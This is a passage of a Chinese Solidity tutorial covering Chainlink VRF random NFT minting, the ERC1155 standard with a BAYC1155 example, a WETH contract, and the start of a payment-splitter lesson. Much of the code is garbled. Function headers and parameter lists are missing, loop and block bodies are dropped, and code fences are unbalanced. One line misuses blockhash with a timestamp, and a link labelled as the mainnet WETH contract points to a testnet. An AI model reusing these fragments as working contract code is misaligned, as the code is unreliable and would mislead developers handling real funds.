**3. `Chainlink`节点链下生成随机数和[数字签名](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md)，并发送给`VRF`合约**

**4. `VRF`合约验证签名有效性**

**5. 用户合约接收并使用随机数**

在`VRF`合约验证签名有效之后，会自动调用用户合约的回退函数`fulfillRandomness()`，将链下生成的随机数发送过来。用户要把消耗随机数的逻辑写在这里。

**注意:** 用户申请随机数时调用的`requestRandomness()`和`VRF`合约返回随机数时调用的回退函数`fulfillRandomness()`是两笔交易，调用者分别是用户合约和`VRF`合约，后者比前者晚几分钟（不同链延迟不一样）。

    /**
     * VRF合约的回调函数，验证随机数有效之后会自动被调用
     * 消耗随机数的逻辑写在这里
     */
    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        randomResult = randomness;
    }
```

## `tokenId`随机铸造的`NFT`

这一节，我们将利用链上和链下随机数来做一款`tokenId`随机铸造的`NFT`。`Random`合约继承`ERC721`和`VRFConsumerBase`合约。

```Solidity
//

SPDX-License-Identifier: MIT

contract Random is ERC721, VRFConsumerBase{
```

### 状态变量

- `NFT`相关
    - `totalSupply`：`NFT`总供给。
    - `ids`：数组，用于计算可供`mint`的`tokenId`，见`pickRandomUniqueId()`函数。
    - `mintCount`：已经`mint`的数量。
- `Chainlink VRF`相关
    - `keyHash`:`VRF`唯一标识符。
    - `fee`：`VRF`手续费。
    - `requestToSender`：记录申请`VRF`用于铸造的用户地址。

    // NFT相关
    uint256 public totalSupply = 100; // 总供给
    uint256[100] public ids; // 用于计算可供mint的tokenId
    uint256 public mintCount; // 已mint数量
    // chainlink VRF相关
    bytes32 internal keyHash;
    uint256 internal fee;
    // 记录VRF申请标识对应的mint地址
    mapping(bytes32 => address) public requestToSender; 
```

### 构造函数
初始化继承的`VRFConsumerBase`和`ERC721`合约的相关变量。

    /**
     * Key Hash:

0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311
     */
        )
        ERC721("WTF Random", "WTF")
    {
    }
```

### 其他函数
除了构造函数以外，合约里还定义了`5`个函数。

- `pickRandomUniqueId()`：输入随机数，获取可供`mint`的`tokenId`。

- `getRandomOnchain()`：获取链上随机数（不安全）。

- `mintRandomOnchain()`：利用链上随机数铸造`NFT`，调用了`getRandomOnchain()`和`pickRandomUniqueId()`。

- `mintRandomVRF()`：申请`Chainlink VRF`用于铸造随机数。由于使用随机数铸造的逻辑在回调函数`fulfillRandomness()`，而回调函数的调用者是`VRF`合约，而非铸造`NFT`的用户，这里必须利用`requestToSender`状态变量记录`VRF`申请标识符对应的用户地址。

- `fulfillRandomness()`：`VRF`的回调函数，由`VRF`合约在验证随机数真实性后自动调用，用返回的链下随机数铸造`NFT`。

    /** 
    * 输入uint256数字，返回一个可以mint的tokenId
    * 算法过程可理解为：totalSupply个空杯子（0初始化的ids）排成一排，每个杯子旁边放一个球，编号为[0, totalSupply - 1]。
    每次从场上随机拿走一个球（球可能在杯子旁边，这是初始状态；也可能是在杯子里，说明杯子旁边的球已经被拿走过，则此时新的球从末尾被放到了杯子里）
   
   再把末尾的一个球（依然是可能在杯子里也可能在杯子旁边）放进被拿走的球的杯子里，循环totalSupply次。相比传统的随机排列，省去了初始化ids[]的gas。
    */
    function pickRandomUniqueId(uint256 random) private returns (uint256 tokenId) {
        uint256 len = totalSupply - mintCount++; // 可mint数量
        require(len > 0, "mint close"); // 所有tokenId被mint完了
        uint256 randomIndex = random % len; // 获取链上随机数
        
        //随机数取模，得到tokenId，作为数组下标，同时记录value为len-1，如果取模得到的值已存在，则tokenId取该数组下标的value
        tokenId = ids[randomIndex] != 0 ? ids[randomIndex] : randomIndex; // 获取tokenId
        ids[randomIndex] = ids[len - 1] == 0 ? len - 1 : ids[len - 1]; // 更新ids 列表
        ids[len - 1] = 0; // 删除最后一个元素，能返还gas
    }

    /** 
    * 链上伪随机数生成
    * keccak256(abi.encodePacked()中填上一些链上的全局变量/自定义变量
    */
        // remix跑blockhash会报错
        bytes32 randomBytes = keccak256(abi.encodePacked(block.number, msg.sender, blockhash(block.timestamp-1)));
    }

    // 利用链上伪随机数铸造NFT
    function mintRandomOnchain() public {
        uint256 _tokenId = pickRandomUniqueId(getRandomOnchain()); // 利用链上随机数生成tokenId
        _mint(msg.sender, _tokenId);
    }

    /** 
     * 调用VRF获取随机数，并mintNFT
     *

要调用requestRandomness()函数获取，消耗随机数的逻辑写在VRF的回调函数fulfillRandomness()中
     * 调用前，把LINK代币转到本合约里
     */
    function mintRandomVRF() public returns (bytes32 requestId) {
        // 检查合约中LINK余额
        // 调用requestRandomness获取随机数
        requestId = requestRandomness(keyHash, fee);
        requestToSender[requestId] = msg.sender;
        return requestId;
    }

    /**
     * VRF的回调函数，由VRF Coordinator调用
     * 消耗随机数的逻辑写在本函数中
     */
        address sender = requestToSender[requestId]; // 从requestToSender中获取minter用户地址
        uint256 _tokenId = pickRandomUniqueId(randomness); // 利用VRF返回的随机数生成tokenId

        _mint(sender, _tokenId);
    }
```
## `remix`验证

### 1. 在`Rinkeby`测试网部署`Random`合约
![合约部署](./img/39-2.png)

### 2. 利用`Chainlink`水龙头获取测试网的`LINK`和`ETH`
![Rinkeby测试网领取LINK和ETH](./img/39-3.png)

### 3. 将`LINK`代币转入`Random`合约

合约部署后，拷贝合约地址，像普通转账一样，通过小狐狸钱包转账`LINK`到合约地址
![LINK转入合约](./img/39-4.png)

### 4.

利用链上随机数铸造`NFT`

在`remix`界面中，点击左侧橙色函数`mintRandomOnchain`![mintOnchain](./img/39-5-1.png)，在弹出的小狐狸钱包中点击确认，利用链上随机数铸造交易就开始了

![链上随机数铸造](./img/39-5.png)

### 5. 利用`Chainlink VRF`链下随机数铸造`NFT`

同理，在`remix`界面中，点击左侧橙色函数`mintRandomVRF`，在弹出的小狐狸钱包中点击确认，利用`Chainlink VRF`链下随机数铸造交易就开始了

**注意:** 采用`VRF`铸造`NFT`时，发起交易和铸造成功不在同一个区块

![VRF铸造开始交易](./img/39-6.png)
![VRF铸造成功交易](./img/39-7.png)

### 6. 验证`NFT`已被铸造

通过以上截图可以看出，本例中，`tokenId=87`的`NFT`被链上随机铸造出来，`tokenId=77`的`NFT`被`VRF`铸造出来。

## 总结

在`Solidity`中生成随机数没有其他编程语言那么容易。这一讲我们将介绍链上（哈希函数）和链下（`chainlink`预言机）随机数生成的两种方法，并利用它们做一款`tokenId`随机铸造的`NFT`。这两种方法各有利弊：使用链上随机数高效，但是不安全；而链下随机数生成依赖于第三方提供的预言机服务，比较安全，但是没那么简单经济。项目方要根据业务场景来选择适合自己的方案。

除此以外，还有一些组织在尝试RNG(Random Number Generation)的新鲜方式，如[randao](https://github.com/randao/randao)就提出以DAO的模式来提供一个`on-chain`且`true randomness`的服务

---
title: 40. ERC1155
tags:
  - solidity
  - ERC1155
---

# WTF Solidity极简入门: 40. ERC1155

-----

这一讲，我们将学习`ERC1155`标准，它支持一个合约包含多种代币。并且，我们会发行一个魔改的无聊猿 - `BAYC1155`：它包含`10,000`种代币，且元数据与`BAYC`一致。

##

`EIP1155`
不论是`ERC20`还是`ERC721`标准，每个合约都对应一个独立的代币。假设我们要在以太坊上打造一个类似《魔兽世界》的大型游戏，这需要我们对每个装备都部署一个合约。上千种装备就要部署和管理上千个合约，这非常麻烦。因此，[以太坊EIP1155](https://eips.ethereum.org/EIPS/eip-1155)提出了一个多代币标准`ERC1155`，允许一个合约包含多个同质化和非同质化代币。`ERC1155`在GameFi应用最多，Decentraland、Sandbox等知名链游都使用它。

简单来说，`ERC1155`与之前介绍的非同质化代币标准[ERC721](https://github.com/AmazingAng/WTFSolidity/tree/main/34_ERC721)类似：在`ERC721`中，每个代币都有一个`tokenId`作为唯一标识，每个`tokenId`只对应一个代币；而在`ERC1155`中，每一种代币都有一个`id`作为唯一标识，每个`id`对应一种代币。这样，代币种类就可以非同质的在同一个合约里管理了，并且每种代币都有一个网址`uri`来存储它的元数据，类似`ERC721`的`tokenURI`。下面是`ERC1155`的元数据接口合约`IERC1155MetadataURI`：

/**
 * @dev ERC1155的可选接口，加入了uri()函数查询元数据
 */
interface IERC1155MetadataURI is IERC1155 {
    /**
     * @dev 返回第`id`种类代币的URI
     */
    function uri(uint256 id) external view returns (string memory);
```

那么怎么区分`ERC1155`中的某类代币是同质化还是非同质化代币呢？其实很简单：如果某个`id`对应的代币总量为`1`，那么它就是非同质化代币，类似`ERC721`；如果某个`id`对应的代币总量大于`1`，那么他就是同质化代币，因为这些代币都分享同一个`id`，类似`ERC20`。

##

`IERC1155`接口合约

`IERC1155`接口合约抽象了`EIP1155`需要实现的功能，其中包含`4`个事件和`6`个函数。与`ERC721`不同，因为`ERC1155`包含多类代币，它实现了批量转账和批量余额查询，一次操作多种代币。

pragma solidity ^0.8.0;

import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/IERC165.sol";

/**
 * @dev ERC1155标准的接口合约，实现了EIP1155的功能
 * 详见：https://eips.ethereum.org/EIPS/eip-1155[EIP].
 */
interface IERC1155 is IERC165 {
    /**
     * @dev 单类代币转账事件
     * 当`value`个`id`种类的代币被`operator`从`from`转账到`to`时释放.
     */
    event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);

    /**
     * @dev 批量代币转账事件
     * ids和values为转账的代币种类和数量数组
     */
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );

    /**
     * @dev 批量授权事件
     * 当`account`将所有代币授权给`operator`时释放
     */
    event ApprovalForAll(address indexed account, address indexed operator, bool approved);

    /**
     * @dev 当`id`种类的代币的URI发生变化时释放，`value`为新的URI
     */
    event URI(string value, uint256 indexed id);

    /**
     * @dev 持仓查询，返回`account`拥有的`id`种类的代币的持仓量
     */
    function balanceOf(address

account, uint256 id) external view returns (uint256);

    /**
     * @dev 批量持仓查询，`accounts`和`ids`数组的长度要想等。
     */
    function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);

    /**
     * @dev 批量授权，将调用者的代币授权给`operator`地址。
     * 释放{ApprovalForAll}事件.
     */
    function setApprovalForAll(address operator, bool approved) external;

    /**
     * @dev 批量授权查询，如果授权地址`operator`被`account`授权，则返回`true`
     * 见 {setApprovalForAll}函数.
     */
    function isApprovedForAll(address account, address operator) external view returns (bool);

    /**
     * @dev 安全转账，将`amount`单位`id`种类的代币从`from`转账给`to`.
     * 释放{TransferSingle}事件.
     * 要求:
     * - 如果调用者不是`from`地址而是授权地址，则需要得到`from`的授权
     * - `from`地址必须有足够的持仓
     * - 如果接收方是合约，需要实现`IERC1155Receiver`的`onERC1155Received`方法，并返回相应的值
     */
        uint256 id,
        uint256 amount,

    /**
     * @dev 批量安全转账
     * 释放{TransferBatch}事件
     * 要求：
     * - `ids`和`amounts`长度相等
     * - 如果接收方是合约，需要实现`IERC1155Receiver`的`onERC1155BatchReceived`方法，并返回相应的值
     */
    function safeBatchTransferFrom(
        uint256[] calldata

ids,
        uint256[] calldata amounts,
}
```

### `IERC1155`事件
- `TransferSingle`事件：单类代币转账事件，在单币种转账时释放。
- `TransferBatch`事件：批量代币转账事件，在多币种转账时释放。
- `ApprovalForAll`事件：批量授权事件，在批量授权时释放。
- `URI`事件：元数据地址变更事件，在`uri`变化时释放。

### `IERC1155`函数
- `balanceOf()`：单币种余额查询，返回`account`拥有的`id`种类的代币的持仓量。
- `balanceOfBatch()`：多币种余额查询，查询的地址`accounts`数组和代币种类`ids`数组的长度要相等。
- `setApprovalForAll()`：批量授权，将调用者的代币授权给`operator`地址。。
- `isApprovedForAll()`：查询批量授权信息，如果授权地址`operator`被`account`授权，则返回`true`。
- `safeTransferFrom()`：安全单币转账，将`amount`单位`id`种类的代币从`from`地址转账给`to`地址。如果`to`地址是合约，则会验证是否实现了`onERC1155Received()`接收函数。
- `safeBatchTransferFrom()`：安全多币转账，与单币转账类似，只不过转账数量`amounts`和代币种类`ids`变为数组，且长度相等。如果`to`地址是合约，则会验证是否实现了`onERC1155BatchReceived()`接收函数。

## `ERC1155`接收合约

与`ERC721`标准类似，为了避免代币被转入黑洞合约，`ERC1155`要求代币接收合约继承`IERC1155Receiver`并实现两个接收函数：

- `onERC1155Received()`：单币转账接收函数，接受ERC1155安全转账`safeTransferFrom` 需要实现并返回自己的选择器`0xf23a6e61`。

- `onERC1155BatchReceived()`：多币转账接收函数，接受ERC1155安全多币转账`safeBatchTransferFrom`

需要实现并返回自己的选择器`0xbc197c81`。

/**
 * @dev ERC1155接收合约，要接受ERC1155的安全转账，需要实现这个合约
 */
interface IERC1155Receiver is IERC165 {
    /**
     * @dev 接受ERC1155安全转账`safeTransferFrom` 
     * 需要返回 0xf23a6e61 或 `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
     */
    function onERC1155Received(
        uint256 value,

    /**
     * @dev 接受ERC1155批量安全转账`safeBatchTransferFrom` 
     * 需要返回 0xbc197c81 或 `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
     */
    function onERC1155BatchReceived(
        uint256[] calldata ids,
        uint256[] calldata values,
}
```

## `ERC1155`主合约

`ERC1155`主合约实现了`IERC1155`接口合约规定的函数，还有单币/多币的铸造和销毁函数。

### `ERC1155`变量

`ERC1155`主合约包含`4`个状态变量：

- `name`：代币名称
- `symbol`：代币代号
-

`_balances`：代币持仓映射，记录代币种类`id`下某地址`account`的持仓量`balances`。
- `_operatorApprovals`：批量授权映射，记录持有地址给另一个地址的授权情况。

### `ERC1155`函数

`ERC1155`主合约包含`16`个函数：

- 构造函数：初始化状态变量`name`和`symbol`。
- `supportsInterface()`：实现`ERC165`标准，声明它支持的接口，供其他合约检查。
- `balanceOf()`：实现`IERC1155`的`balanceOf()`，查询持仓量。与`ERC721`标准不同，这里需要输入查询的持仓地址`account`以及币种`id`。
- `balanceOfBatch()`：实现`IERC1155`的`balanceOfBatch()`，批量查询持仓量。
- `setApprovalForAll()`：实现`IERC1155`的`setApprovalForAll()`，批量授权，释放`ApprovalForAll`事件。
- `isApprovedForAll()`：实现`IERC1155`的`isApprovedForAll()`，查询批量授权信息。
- `safeTransferFrom()`：实现`IERC1155`的`safeTransferFrom()`，单币种安全转账，释放`TransferSingle`事件。与`ERC721`不同，这里不仅需要填发出方`from`，接收方`to`，代币种类`id`，还需要填转账数额`amount`。
- `safeBatchTransferFrom()`：实现`IERC1155`的`safeBatchTransferFrom()`，多币种安全转账，释放`TransferBatch`事件。
- `_mint()`：单币种铸造函数。
- `_mintBatch()`：多币种铸造函数。
- `_burn()`：单币种销毁函数。
- `_burnBatch()`：多币种销毁函数。
- `_doSafeTransferAcceptanceCheck`：单币种转账的安全检查，被`safeTransferFrom()`调用，确保接收方为合约的情况下，实现了`onERC1155Received()`函数。
-

`_doSafeBatchTransferAcceptanceCheck`：多币种转账的安全检查，，被`safeBatchTransferFrom`调用，确保接收方为合约的情况下，实现了`onERC1155BatchReceived()`函数。
- `uri()`：返回`ERC1155`的第`id`种代币存储元数据的网址，类似`ERC721`的`tokenURI`。
- `baseURI()`：返回`baseURI`，`uri`就是把`baseURI`和`id`拼接在一起，需要开发重写。

import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./IERC1155MetadataURI.sol";
import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/Address.sol";
import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/String.sol";

/**
 * @dev ERC1155多代币标准
 * 见 https://eips.ethereum.org/EIPS/eip-1155
 */
contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI {
    using Strings for uint256; // 使用String库
    // Token名称
    string public name;
    // Token代号
    string public symbol;
    // 代币种类id 到 账户account 到 余额balances 的映射
    mapping(uint256 => mapping(address => uint256)) private _balances;
    //

address 到 授权地址 的批量授权映射
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    /**
     * 构造函数，初始化`name` 和`symbol`, uri_
     */
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return
            interfaceId == type(IERC1155).interfaceId ||
            interfaceId == type(IERC1155MetadataURI).interfaceId ||
    }

    /**
     * @dev 持仓查询 实现IERC1155的balanceOf，返回account地址的id种类代币持仓量。
     */
    function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
        require(account != address(0), "ERC1155: address zero is not a valid owner");
        return _balances[id][account];
    }

    /**
     * @dev 批量持仓查询
     * 要求:
     * - `accounts` 和 `ids` 数组长度相等.
     */
    function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
        public view virtual override
        returns (uint256[] memory)
    {
        require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
        uint256[] memory batchBalances = new

uint256[](accounts.length);
        for (uint256 i = 0; i < accounts.length; ++i) {
            batchBalances[i] = balanceOf(accounts[i], ids[i]);
        }
        return batchBalances;
    }

    /**
     * @dev 批量授权，调用者授权operator使用其所有代币
     * 释放{ApprovalForAll}事件
     * 条件：msg.sender != operator
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        require(msg.sender != operator, "ERC1155: setting approval status for self");
    }

    /**
     * @dev 查询批量授权.
     */
    function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[account][operator];
    }

    /**
     * @dev 安全转账，将`amount`单位的`id`种类代币从`from`转账到`to`
     * 释放 {TransferSingle} 事件.
     * 要求:
     * - to 不能是0地址.
     * - from拥有足够的持仓量，且调用者拥有授权
     * - 如果 to 是智能合约, 他必须支持 IERC1155Receiver-onERC1155Received.
     */
        bytes memory data
    ) public virtual override {
        address operator = msg.sender;
        // 调用者是持有者或是被授权
        require(
            from == operator || isApprovedForAll(from,

operator),
            "ERC1155: caller is not token owner nor approved"
        );
        require(to != address(0), "ERC1155: transfer to the zero address");
        // from地址有足够持仓
        uint256 fromBalance = _balances[id][from];
        require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
        // 更新持仓量
        unchecked {
            _balances[id][from] = fromBalance - amount;
        }
        _balances[id][to] += amount;
        // 释放事件
        emit TransferSingle(operator, from, to, id, amount);
        // 安全检查
        _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);    
    }

    /**
     * @dev 批量安全转账，将`amounts`数组单位的`ids`数组种类代币从`from`转账到`to`
     * 要求:
     * - 如果 to 是智能合约, 他必须支持 IERC1155Receiver-onERC1155BatchReceived.
     * - ids和amounts数组长度相等
     */
        uint256[] memory ids,
        uint256[] memory amounts,
        require(
            from == operator || isApprovedForAll(from, operator),
        );
        require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
       
       require(to != address(0), "ERC1155: transfer to the zero address");

        // 通过for循环更新持仓  
        for (uint256 i = 0; i < ids.length; ++i) {
            uint256 id = ids[i];
            uint256 amount = amounts[i];

            uint256 fromBalance = _balances[id][from];
            require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
            unchecked {
                _balances[id][from] = fromBalance - amount;
            }
            _balances[id][to] += amount;
        }

        emit TransferBatch(operator, from, to, ids, amounts);
        // 安全检查
        _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);    
    }

    /**
     * @dev 铸造
     */
    function _mint(
    ) internal virtual {
        require(to != address(0), "ERC1155: mint to the zero address");

        emit TransferSingle(operator, address(0), to, id, amount);

        _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
    }

    /**
     * @dev 批量铸造
     * 释放 {TransferBatch} 事件.
     */
    function _mintBatch(
        require(to != address(0),

"ERC1155: mint to the zero address");

        for (uint256 i = 0; i < ids.length; i++) {
            _balances[ids[i]][to] += amounts[i];
        }

        emit TransferBatch(operator, address(0), to, ids, amounts);

        _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
    }

    /**
     * @dev 销毁
     */
    function _burn(
        require(from != address(0), "ERC1155: burn from the zero address");

        require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
        }

        emit TransferSingle(operator, from, address(0), id, amount);
    }

    /**
     * @dev 批量销毁
     */
    function _burnBatch(
        uint256[] memory amounts

        for

(uint256 i = 0; i < ids.length; i++) {

            require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
            }
        }

        emit TransferBatch(operator, from, address(0), ids, amounts);
    }

    // @dev ERC1155的安全转账检查
    function _doSafeTransferAcceptanceCheck(
    ) private {
            try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
                if (response != IERC1155Receiver.onERC1155Received.selector) {
                    revert("ERC1155: ERC1155Receiver rejected tokens");
                }
            } catch Error(string memory reason) {
                revert(reason);
            } catch {
                revert("ERC1155: transfer to non-ERC1155Receiver implementer");
            }
        }
    }

    // @dev ERC1155的批量安全转账检查
    function _doSafeBatchTransferAcceptanceCheck(
    ) private {
            try

IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
                bytes4 response
            ) {
                if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
                }
            } catch {
            }
        }
    }

    /**
     * @dev 返回ERC1155的id种类代币的uri，存储metadata，类似ERC721的tokenURI.
     */
    function uri(uint256 id) public view virtual override returns (string memory) {
        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, id.toString())) : "";
    }

    /**
     * 计算{uri}的BaseURI，uri就是把baseURI和tokenId拼接在一起，需要开发重写.
     */
        return "";
    }
}
```

## `BAYC`，但是`ERC1155`

我们魔改下`ERC721`标准的无聊猿`BAYC`，创建一个免费铸造的`BAYC1155`。我们修改`_baseURI()`函数，使得`BAYC1155`的`uri`和`BAYC`的`tokenURI`一样。这样，`BAYC1155`元数据会与无聊猿的相同：

// by 0xAA

import "./ERC1155.sol";

contract BAYC1155 is ERC1155{
    uint256 constant

MAX_ID = 10000; 
    // 构造函数
    constructor() ERC1155("BAYC1155", "BAYC1155"){
    }

    }
    
    // 铸造函数
    function mint(address to, uint256 id, uint256 amount) external {
        // id 不能超过10,000
        require(id < MAX_ID, "id overflow");
        _mint(to, id, amount, "");
    }

    // 批量铸造函数
    function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) external {
            require(ids[i] < MAX_ID, "id overflow");
        }
        _mintBatch(to, ids, amounts, "");
    }
}
```

## Remix演示

### 1. 部署`BAYC1155`合约
![部署](./img/40-1.jpg)

### 2. 查看元数据`uri`
![查看元数据](./img/40-2.jpg)

### 3. `mint`并查看持仓变化
`mint`一栏中输入账户地址、`id`和数量，点击`mint`按钮铸造。若数量为`1`，则为非同质化代币；若数量大于`1`，则为同质化代币。

![mint1](./img/40-3.jpg)

`blanceOf`一栏中输入账户地址和`id`查看对应持仓

![mint2](./img/40-4.jpg)

### 4.

批量`mint`并查看持仓变化
`mintBatch`一栏中输入要铸造的`ids`数组以及对应的数量，两者数组的长度必须相等

![batchmint1](./img/40-5.jpg)

将刚刚铸造好的代币`id`数组输入即可查看

![batchmint2](./img/40-6.jpg)

### 5. 批量转账并查看持仓变化

与铸造类似，不过这次要从拥有相应代币的地址转到一个新的地址，这个地址可以是普通地址也可以是合约地址，如果是合约地址会验证是否实现了`onERC1155Received()`接收函数。

这里我们转给一个普通地址，输入`ids`和`amounts`数组。

![transfer1](./img/40-7.jpg)

对刚才转入的地址查看其持仓变化。

![transfer2](./img/40-8.jpg)

## 总结

这一讲我们学习了以太坊`EIP1155`提出的`ERC1155`多代币标准，它允许一个合约中包含多个同质化或非同质化代币。并且，我们创建了魔改版无聊猿 - `BAYC1155`：一个包含`10,000`种代币且元数据与`BAYC`相同的`ERC1155`代币。目前，`ERC1155`主要应用于`GameFi`中。但我相信随着元宇宙技术不断发展，这个标准会越来越流行。

---
title: 41. WETH
tags:
  - solidity
  - ERC20
  - fallback
---

# WTF Solidity极简入门: 41. WETH

-----

这一讲，我们将学习`WETH`--带包装的`ETH`。

## 什么是`WETH`？

![WETH](./img/41-1.gif)

`WETH` (Wrapped ETH)是`ETH`的带包装版本。我们常见的`WETH`，`WBTC`，`WBNB`，都是带包装的原生代币。那么我们为什么要包装它们？

在2015年，[ERC20](https://github.com/AmazingAng/WTFSolidity/blob/main/20_SendETH/readme.md)标准出现，该代币标准旨在为以太坊上的代币制定一套标准化的规则，从而简化了新代币的发布，并使区块链上的所有代币相互可比。不幸的是，以太币本身并不符合`ERC20`标准。`WETH`的开发是为了提高区块链之间的互操作性 ，并使`ETH`可用于去中心化应用程序（dApps）。它就像是给原生代币穿了一件智能合约做的衣服：穿上衣服的时候，就变成了`WETH`，符合`ERC20`同质化代币标准，可以跨链，可以用于`dApp`；脱下衣服，它可1:1兑换`ETH`。

##

`WETH`合约

目前在用的[主网WETH合约](https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2)写于2015年，非常老，那时候solidity是0.4版本。我们用0.8版本重新写一个`WETH`。

`WETH`符合`ERC20`标准，它比普通的`ERC20`多了两个功能：

1. 存款：包装，用户将`ETH`存入`WETH`合约，并获得等量的`WETH`。

2. 取款：拆包装，用户销毁`WETH`，并获得等量的`ETH`。

```

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract WETH is ERC20{
    // 事件：存款和取款
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    // 构造函数，初始化ERC20的名字和代号
    constructor() ERC20("WETH", "WETH"){
    }

    // 回调函数，当用户往WETH合约转ETH时，会触发deposit()函数
    fallback() external payable {
        deposit();
    }
    }

    // 存款函数，当用户存入ETH时，给他铸造等量的WETH
    function deposit() public payable {
        _mint(msg.sender, msg.value);
        emit Deposit(msg.sender, msg.value);
    }

    // 提款函数，用户销毁WETH，取回等量的ETH
    function withdraw(uint amount) public {
        require(balanceOf(msg.sender) >= amount);
        _burn(msg.sender, amount);
       
       payable(msg.sender).transfer(amount);
        emit Withdrawal(msg.sender, amount);
    }
}
```

### 继承

`WETH`符合`ERC20`代币标准，因此`WETH`合约继承了`ERC20`合约。

### 事件

`WETH`合约共有`2`个事件：

1. `Deposit`：存款事件，在存款的时候释放。
2. `Withdraw`：取款事件，在取款的时候释放。

### 函数

除了`ERC20`标准的函数外，`WETH`合约有`5`个函数：

- 构造函数：初始化`WETH`的名字和代号。
- 回调函数：`fallback()`和`receive()`，当用户往`WETH`合约转`ETH`的时候，会自动触发`deposit()`存款函数，获得等量的`WETH`。
- `deposit()`：存款函数，当用户存入`ETH`时，给他铸造等量的`WETH`。
- `withdraw()`：取款函数，让用户销毁`WETH`，并归还等量的`ETH`。

### 1. 部署`WETH`合约

![WETH](./img/41-2.jpg)

### 2. 调用`deposit`，存入`1 ETH`，并查看`WETH`余额

![WETH](./img/41-3.jpg)

此时`WETH`余额为`1 WETH`。

![WETH](./img/41-4.jpg)

### 3. 直接向`WETH`合约转入`1 ETH`，并查看`WETH`余额

![WETH](./img/41-5.jpg)

此时`WETH`余额为`2 WETH`。

![WETH](./img/41-6.jpg)

### 4. 调用`withdraw`，取出`1.5 ETH`，并查看`WETH`余额

![WETH](./img/41-7.jpg)

此时`WETH`余额为`0.5 WETH`。

![WETH](./img/41-8.jpg)

## 总结

这一讲，我们介绍了`WETH`并实现了`WETH`合约。它就像是给原生`ETH`穿了一件智能合约做的衣服：穿上衣服的时候，就变成了`WETH`，符合`ERC20`同质化代币标准，可以跨链，可以用于`dApp`；脱下衣服，它可以1:1兑换`ETH`。

---
title: 42. 分账
tags:
  - solidity

---

# WTF Solidity极简入门: 42. 分账

-----

这一讲，我们介绍分账合约，该合约允许将`ETH`按权重转给一组账户中，进行分账。代码部分由oppenzepplin库的[PaymentSplitter合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol)简化而来。

## 分账

分账就是按照一定比例分钱财。在现实中，经常会有“分赃不均”的事情发生；而在区块链的世界里，`Code is Law`，我们可以事先把每个人应分的比例写在智能合约中，获得收入后，再由智能合约来进行分账。

![分账](./img/42-1.webp)

## 分账合约

分账合约(`PaymentSplit`)具有以下几个特点：

1. 在创建合约时定好分账受益人`payees`和每人的份额`shares`。
2. 份额可以是相等，也可以是其他任意比例。
3. 在该合约收到的所有`ETH`中，每个受益人将能够提取与其分配的份额成比例的金额。
4. 分账合约遵循`Pull Payment`模式，付款不会自动转入账户，而是保存在此合约中。受益人通过调用`release()`函数触发实际转账。

/**
 * 分账合约 
 * @dev

这个合约会把收到的ETH按事先定好的份额分给几个账户。收到ETH会存在分账合约中，需要每个受益人调用release()函数来领取。
 */
contract PaymentSplit{
```

### 事件

分账合约中共有`3`个事件：

- `PayeeAdded`：增加受益人事件。
- `PaymentReleased`：受益人提款事件。
- `PaymentReceived`：分账合约收款事件。

    // 事件
    event PayeeAdded(address account, uint256 shares); // 增加受益人事件
    event PaymentReleased(address to, uint256 amount); // 受益人提款事件
    event PaymentReceived(address from, uint256 amount); // 合约收款事件
```

### 状态变量

分账合约中共有`5`个状态变量，用来记录受益地址、份额、支付出去的`ETH`等变量：

- `totalShares`：总份额，为`shares`的和。
- `totalReleased`：从分账合约向受益人支付出去的`ETH`，为`released`的和。
- `payees`：`address`数组，记录受益人地址
- `shares`：`address`到`uint256`的映射，记录每个受益人的份额。
- `released`：`address`到`uint256`的映射，记录分账合约支付给每个受益人的金额。

    uint256 public totalShares; // 总份额
    uint256 public totalReleased; // 总支付

    mapping(address => uint256) public shares; // 每个受益人的份额
    mapping(address => uint256) public released; // 支付给每个受益人的金额
    address[] public payees; // 受益人数组
```

### 函数

分账合约中共有`6`个函数：

- 构造函数：始化受益人数组`_payees`和分账份额数组`_shares`，其中数组长度不能为0，两个数组长度要相等。_shares中元素要大于0，_payees中地址不能为0地址且不能有重复地址。
-

